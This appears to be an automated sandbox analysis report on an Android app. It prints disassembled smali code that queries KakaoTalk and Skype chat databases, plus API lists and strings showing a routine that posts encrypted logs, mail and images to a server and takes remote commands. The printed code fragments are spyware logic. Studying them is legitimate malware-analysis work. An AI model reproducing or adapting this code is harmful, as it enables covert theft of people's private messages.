      728invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      729move-result-object v6
      731const-string v7, "GetContentIM getIM MONITOR SELECT FIRST INDEX NEW index: "
      733invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      734move-result-object v6
      736invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      737move-result-object v6
      739const-string v7, ", by date:"
      741invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      742move-result-object v6
      743new-instance v7, Ljava/util/Date;
      745invoke-static {v3}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
      746move-result-wide v10
      748invoke-direct {v7, v10, v11}, Ljava/util/Date;-><init>(J)V
      750invoke-virtual {v7}, Ljava/util/Date;->toString()Ljava/lang/String;
      751move-result-object v7
      753invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      754move-result-object v6
      756invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      757move-result-object v6
      759invoke-static {v6}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      760goto_3f2: if-eqz v3, :cond_3fe
      761try_start_3f4:
      762invoke-interface {v4}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
      763move-result-object v4
      765invoke-interface {v4, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      767invoke-interface {v4}, Landroid/content/SharedPreferences$Editor;->commit()Z
      768goto_3fe: if-eqz v5, :cond_40c
      769try_start_400:
      770invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
      771move-result v0
      772if-eqz v0, :cond_409
      774invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      775cond_409:
      776invoke-interface {v9}, Ljava/util/concurrent/locks/Lock;->unlock()V
      777cond_40c: if-eqz v1, :cond_2b
      779invoke-interface {v1}, Landroid/database/Cursor;->close()V
      780try_end_411: goto/16 :goto_2b
      781catch_413: move-exception v0
      782new-instance v1, Ljava/lang/StringBuilder;
      784invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      786iget-object v2, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      788invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      789move-result-object v1
      791const-string v2, "GetContentIM getIM finally- "
      793invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      794move-result-object v1
      796invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      797move-result-object v2
      799invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      800move-result-object v1
      802invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      803move-result-object v1
      805invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      806goto/16 :goto_2b
      807cond_436: new-instance v0, Ljava/lang/StringBuilder;
      809invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      811iget-object v4, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      813invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      814move-result-object v0
      816const-string v4, "GetContentIM getIM MONITOR SELACT FIRST INDEX NEW index"
      818invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      819move-result-object v0
      821invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      822move-result-object v0
      824invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      825try_end_44e: goto/16 :goto_3fe
      826catch_44f: move-exception v0
      827goto_450: new-instance v4, Ljava/lang/StringBuilder;
      829invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      831iget-object v6, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      833invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      834move-result-object v4
      836const-string v6, "GetContentIM getIM get first index Throwable- "
      838invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      839move-result-object v4
      841invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      842move-result-object v6
      844invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      845move-result-object v4
      847invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      848move-result-object v4
      850invoke-static {v4, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      851const/4 v0, 0x1
      852iget-short v4, p0, Lcom/network/android/q;->k:S
      853new-instance v6, Ljava/lang/StringBuilder;
      855const-string v7, "LOG_ERR_IM"
      857invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      859iget-object v7, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      861invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      862move-result-object v6
      864invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      865move-result-object v6
      867invoke-static {v0, v4, v6}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      868goto_487: new-instance v0, Ljava/lang/StringBuilder;
      870invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      872iget-object v4, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      874invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      875move-result-object v0
      877const-string v4, "GetContentIM getIM MONITOR fatched index: "
      879invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      880move-result-object v0
      882invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      883move-result-object v0
      885const-string v4, ", by date:"
      887invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      888move-result-object v0
      889new-instance v4, Ljava/util/Date;
      891invoke-static {v3}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
      892move-result-wide v6
      894invoke-direct {v4, v6, v7}, Ljava/util/Date;-><init>(J)V
      896invoke-virtual {v4}, Ljava/util/Date;->toString()Ljava/lang/String;
      897move-result-object v4
      899invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      900move-result-object v0
      902invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      903move-result-object v0
      905invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      906try_end_4ba: new-instance v0, Ljava/lang/StringBuilder;
      908invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      910iget-object v4, p0, Lcom/network/android/q;->d:Ljava/lang/String;
      912invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      913move-result-object v0
      915const-string v4, " WHERE "
      917invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      918move-result-object v0
      920iget-object v4, p0, Lcom/network/android/q;->e:Ljava/lang/String;
      922invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      923move-result-object v0
      925const-string v4, " > \'"
      927invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      928move-result-object v0
      930invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      931move-result-object v0
      933const-string v3, "\'"
      935invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      936move-result-object v0
      938invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      939move-result-object v0
      941const-string v3, "kakao"
      943iget-object v4, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      945invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      946move-result v3
      947if-eqz v3, :cond_593
      948new-instance v3, Ljava/lang/StringBuilder;
      950invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      952invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      953move-result-object v0
      955const-string v3, " AND chat_logs.type = 1"
      957invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      958move-result-object v0
      960invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      961move-result-object v0
      962goto_502: new-instance v3, Ljava/lang/StringBuilder;
      964invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      966invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      967move-result-object v0
      969const-string v3, " ORDER BY "
      971invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      972move-result-object v0
      974iget-object v3, p0, Lcom/network/android/q;->e:Ljava/lang/String;
      976invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      977move-result-object v0
      979invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      980move-result-object v0
      981new-instance v3, Ljava/lang/StringBuilder;
      983invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      985iget-object v4, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      987invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      988move-result-object v3
      990const-string v4, "GetContentIM getIM MONITOR selectQuery:"
      992invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      993move-result-object v3
      995invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      996move-result-object v3
      998invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      999move-result-object v3
      1001invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      1002const/4 v3, 0x0
      1004invoke-virtual {v5, v0, v3}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      1005try_end_53b: move-result-object v3
      1006if-nez v3, :cond_6c8
      1007try_start_53e: new-instance v0, Ljava/lang/StringBuilder;
      1009invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      1011iget-object v2, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      1013invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1014move-result-object v0
      1016const-string v2, "GetContentIM getIM Provider == null return"
      1018invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1019move-result-object v0
      1021invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1022move-result-object v0
      1024invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      1025try_end_556: if-eqz v3, :cond_55b
      1026try_start_558:
      1027invoke-interface {v3}, Landroid/database/Cursor;->close()V
      1028cond_55b: if-eqz v5, :cond_569
      1030invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
      1031move-result v0
      1032if-eqz v0, :cond_566
      1034invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      1035cond_566:
      1036invoke-interface {v9}, Ljava/util/concurrent/locks/Lock;->unlock()V
      1037cond_569: if-eqz v1, :cond_2b
      1039invoke-interface {v1}, Landroid/database/Cursor;->close()V
      1040try_end_56e: goto/16 :goto_2b
      1041catch_570: move-exception v0
      1042new-instance v1, Ljava/lang/StringBuilder;
      1044invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      1046iget-object v2, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      1048invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1049move-result-object v1
      1051const-string v2, "GetContentIM getIM finally- "
      1053invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1054move-result-object v1
      1056invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      1057move-result-object v2
      1059invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1060move-result-object v1
      1062invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1063move-result-object v1
      1065invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1066goto/16 :goto_2b
      1067try_start_593:
      1068const-string v3, "skype"
      1070iget-object v4, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      1072invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      1073move-result v3
      1074if-eqz v3, :cond_502
      1075new-instance v3, Ljava/lang/StringBuilder;
      1077invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      1079invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1080move-result-object v0
      1082const-string v3, " AND chatmsg_type = 3"
      1084invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1085move-result-object v0
      1087invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1088try_end_5af: move-result-object v0
      1089goto/16 :goto_502
      1090catch_5b2: move-exception v0
      1091try_start_5b3: new-instance v2, Ljava/lang/StringBuilder;
      1093invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      1095iget-object v3, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      1097invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1098move-result-object v2
      1100const-string v3, "GetContentIM failed to find Skype-self-name "
      1102invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1103move-result-object v2
      1105invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      1106move-result-object v3
      1108invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1109move-result-object v2
      1111invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1112move-result-object v2
      1114invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1116const-string v7, "SELF"
      1117try_end_5d5: goto/16 :goto_202
      1118cond_5d7: new-instance v0, Ljava/lang/StringBuilder;
      1120const-string v3, "GetContentIM getIM messages DB does not exist: "
      1122invoke-direct {v0, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1124invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1125move-result-object v0
      1127invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1128move-result-object v0
      1130invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      1131try_end_5e9: move-object v5, v2
      1132move-object v8, v2
      1133move-object v1, v2
      1134goto/16 :goto_20f
      1135catch_5ee: move-exception v0
      1136move-object v5, v2
      1137move-object v1, v2
      1138try_start_5f1: new-instance v3, Ljava/lang/StringBuilder;
      1140invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      1142iget-object v4, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      1144invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1145move-result-object v3
      1147const-string v4, "GetContentIM getIM Throwable- "
      1149invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1150move-result-object v3
      1152invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      1153move-result-object v4
      1155invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1156move-result-object v3
      1158invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1159move-result-object v3
      1161invoke-static {v3, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1162const/4 v0, 0x1
      1163iget-short v3, p0, Lcom/network/android/q;->k:S
      1165iget-object v4, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      1167invoke-static {v0, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      1168try_end_619: if-eqz v1, :cond_61e
      1169try_start_61b:
      1170invoke-interface {v1}, Landroid/database/Cursor;->close()V
      1171cond_61e: if-eqz v5, :cond_62c
      1173invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
      1174move-result v0
      1175if-eqz v0, :cond_629
      1177invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      1178cond_629:
      1179invoke-interface {v9}, Ljava/util/concurrent/locks/Lock;->unlock()V
      1180cond_62c: if-eqz v2, :cond_2b
      1182invoke-interface {v2}, Landroid/database/Cursor;->close()V
      1183try_end_631: goto/16 :goto_2b
      1184catch_633: move-exception v0
      1185new-instance v1, Ljava/lang/StringBuilder;
      1187invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      1189iget-object v2, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      1191invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1192move-result-object v1
      1194const-string v2, "GetContentIM getIM finally- "
      1196invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1197move-result-object v1
      1199invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      1200move-result-object v2
      1202invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1203move-result-object v1
      1205invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1206move-result-object v1
      1208invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1209goto/16 :goto_2b
      1210catchall_656: move-exception v0
      1211move-object v5, v2
      1212move-object v1, v2
      1213goto_659: if-eqz v1, :cond_65e
      1214try_start_65b:
      1215invoke-interface {v1}, Landroid/database/Cursor;->close()V
      1216cond_65e: if-eqz v5, :cond_66c
      1218invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
      1219move-result v1
      1220if-eqz v1, :cond_669
      1222invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      1223cond_669:
      1224invoke-interface {v9}, Ljava/util/concurrent/locks/Lock;->unlock()V
      1225cond_66c: if-eqz v2, :cond_671
      1227invoke-interface {v2}, Landroid/database/Cursor;->close()V
      1228try_end_671: throw v0
      1229catch_672: move-exception v1
      1230new-instance v2, Ljava/lang/StringBuilder;
      1232invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      1234iget-object v3, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      1236invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1237move-result-object v2
      1239const-string v3, "GetContentIM getIM finally- "
      1241invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1242move-result-object v2
      1244invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      1245move-result-object v3
      1247invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1248move-result-object v2
      1250invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1251move-result-object v2
      1253invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1254goto/16 :goto_671
      1255catchall_694: move-exception v0
      1256move-object v1, v2
      1257goto/16 :goto_659
      1258catchall_697: move-exception v0
      1259move-object v12, v1
      1260move-object v1, v2
      1261move-object v2, v12
      1262goto/16 :goto_659
      1263catchall_69c: move-exception v0
      1264move-object v2, v1
      1265move-object v1, v3
      1266goto/16 :goto_659
      1267catchall_6a0: move-exception v0
      1268move-object v2, v8
      1269goto/16 :goto_659
      1270catchall_6a3: move-exception v0
      1271goto/16 :goto_659
      1272catch_6a5: move-exception v0
      1273move-object v1, v2
      1274goto/16 :goto_5f1
      1275catch_6a9: move-exception v0
      1276move-object v12, v1
      1277move-object v1, v2
      1278move-object v2, v12
      1279goto/16 :goto_5f1
      1280catch_6af: move-exception v0
      1281move-object v2, v1
      1282move-object v1, v3
      1283goto/16 :goto_5f1
      1284catch_6b4: move-exception v0
      1285move-object v2, v8
      1286goto/16 :goto_5f1
      1287catch_6b8: move-exception v0
      1288goto/16 :goto_4ba
      1289catch_6bb: move-exception v0
      1290move-object v1, v2
      1291goto/16 :goto_450
      1292catch_6bf: move-exception v6
      1293goto/16 :goto_3f2
      1294catch_6c2: move-exception v1
      1295goto/16 :goto_369
      1296cond_6c5: move-object v7, v2
      1297goto/16 :goto_202
      1298cond_6c8: move-object v8, v1
      1299move-object v1, v3
      1300goto/16 :goto_1cb
      1301cond_6cc: move-object v1, v2
      1302goto/16 :goto_487
      Cross References
      APIs
      • java.lang.System.currentTimeMillis
      • java.net.URL.<init>
      • java.net.URL.openConnection
      • java.net.HttpURLConnection.setDoOutput
      • java.net.HttpURLConnection.setDoInput
      • java.net.HttpURLConnection.setRequestProperty
      • java.net.HttpURLConnection.setConnectTimeout
      • java.net.HttpURLConnection.setReadTimeout
      • com.network.android.SmsReceiver.b
      • java.net.HttpURLConnection.setRequestProperty
      • java.net.HttpURLConnection.setRequestProperty
      • java.net.HttpURLConnection.connect
      • java.io.ByteArrayOutputStream.<init>
      • java.net.HttpURLConnection.getOutputStream
      • java.lang.String.getBytes
      • java.io.StringWriter.<init>
      • java.util.Vector.<init>
      • java.io.StringWriter.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.String.length
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.String.length
      • java.lang.Math.min
      • java.lang.String.substring
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.String.length
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.getBytes
      • java.io.ByteArrayOutputStream.toByteArray
      • java.io.ByteArrayOutputStream.toByteArray
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.ByteArrayOutputStream.toByteArray
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.getBytes
      • java.lang.String.endsWith
      • java.lang.String.getBytes
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.OutputStream.close
      • java.io.ByteArrayOutputStream.close
      • java.lang.String.endsWith
      • java.io.ByteArrayOutputStream.toByteArray
      • java.lang.String.getBytes
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.OutputStream.close
      • java.io.ByteArrayOutputStream.close
      • java.lang.String.getBytes
      • java.io.ByteArrayOutputStream.write
      • java.io.ByteArrayOutputStream.toByteArray
      • java.io.OutputStream.write
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.size
      • java.util.Vector.elementAt
      • java.lang.StringBuilder.<init>
      • java.util.Vector.elementAt
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.size
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.size
      • java.util.Vector.elementAt
      • java.lang.StringBuilder.<init>
      • java.util.Vector.elementAt
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.size
      • java.lang.StringBuilder.<init>
      • java.util.Vector.size
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Context.getSharedPreferences
      • android.content.SharedPreferences.getLong
      • java.lang.StringBuilder.<init>
      • java.util.Date.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.OutputStream.close
      • java.io.ByteArrayOutputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.SharedPreferences.edit
      • java.lang.System.currentTimeMillis
      • android.content.SharedPreferences$Editor.putLong
      • android.content.SharedPreferences$Editor.commit
      • android.content.Context.getSystemService
      • android.content.Intent.<init>
      • android.content.Intent.setAction
      • android.app.PendingIntent.getBroadcast
      • java.lang.System.currentTimeMillis
      • android.app.AlarmManager.setRepeating
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • sentData
      • Content-Type
      • multipart/form-data; boundary=__ANDROID_BOUNDARY__
      • SessionId1
      • SessionId2
      • sentData connected
      • commandAckIdsVector sending data
      • Header-
      • size:
      • Send To URL-
      • Send Data-
      • Data Size
      • encripted size
      • logArrayNew - size:
      • Error log encripted
      • log
      • jpg
      • No log to send-
      • sentData - LOG_HTTP_ERROR_OCCURRED:
      • jigglypuff_mail
      • mail encripted ziped size
      • Total Post Size:
      • parseResponseCommands got command. adding it to command queue
      • parseResponseCommands got outsnoopnumber:
      • parseResponseCommands got URL:
      • parseResponseCommands got targetSms:
      • got command. adding it to command queue
      • parseResponseCommands ProvisionContectHandler ussd blocking size:
      • NetworkMessages
      • restart
      • parseResponseCommands ProvisionContectHandler ussd blocking was ALLREADY RESTARTED restartTime:
      • sentData - close connection:
      • sentData retCode != 0, retCode =
      • alarm
      • addUssdRestartAlarm parseResponseCommands ProvisionContectHandler add ussd reboot alarm minutes: 5 , seconds: 300000
      • parseResponseCommands addUssdRestartAlarm:
      Position Instruction Meta Information
      1const-string v1, "sentData"
      3invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      4const/4 v3, 0x0
      5const/4 v2, 0x0
      6try_start_7:
      7invoke-static {}, Lcom/network/android/g;->b()V
      9invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      10move-result-wide v4
      11sput-wide v4, Lcom/network/android/g;->c:J
      12new-instance v1, Ljava/net/URL;
      14invoke-direct {v1, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
      • Time: 1074515
        • p0: null
        • Return:
          • java.net.MalformedURLException: Attempt to invoke virtual method 'int java.lang.String.length()' on a null object reference
      16invoke-virtual {v1}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
      17move-result-object v1
      18check-cast v1, Ljava/net/HttpURLConnection;
      19sput-object v1, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      20const/4 v4, 0x1
      22invoke-virtual {v1, v4}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
      24sget-object v1, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      25const/4 v4, 0x1
